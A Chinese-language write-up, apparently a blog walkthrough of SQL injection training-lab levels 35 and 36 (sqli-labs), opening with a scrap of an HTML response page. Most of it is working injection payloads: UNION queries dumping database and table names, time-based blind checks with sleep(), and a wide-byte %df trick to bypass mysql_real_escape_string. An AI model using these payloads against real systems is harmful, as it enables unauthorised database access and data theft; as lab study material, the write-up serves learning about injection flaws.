<br><fontcolor= "#FFFF00"fontsize = 4><fontsize="3"color="#0000ff"><br>Your Login name:1<br>Your Password:2<br></font><br><br><imgsrc="../images/flag.jpg" /></font> </br> </br> </br> <fontsize='4'color= "#33FFFF"> Hint: The Username you input is escaped as : aß\' union select 1,2#<br>Hint: The Password you input is escaped as : n<br> </font> </div> </body> </html>
倒数第12行看到我们注入成功了,后面明显我们可以套用联合查询来注入
网上一直在传的方法二
get型注入是直接以url形式提交的,而post型就会对数据进行urlencode处理
所以使
�’ union select 1,database()#
来注入,
lesson 35
首先是多次尝试发现没有对数据进行包裹
?id=-1 union select 1,database(),3–+
?id=-1 union select 1,database(),group_concat(table_name)from information_schema.tables where table_schema=database()–+
然后发现连数据都不包裹的,竟然还会把我的单引号注释掉
使用16进制来绕过注释
时间(延迟)注入
?id=1 and if( length(database())=1,sleep(3),1 )–+
?id=1 and if( left(database(),1)=’s’,sleep(3),1 )–+
lesson 36
使用了mysql_real_escape_string()函数来进行过滤,对于该函数而言,它会转义
\x00 \n \r ‘ “ \x1a
是用单引号来对数据进行包裹
并且不出以外的有宽字节注入
?id=-1%df’union select 1,database(),group_concat(table_name)from information_schema.tables where table_schema=database()–+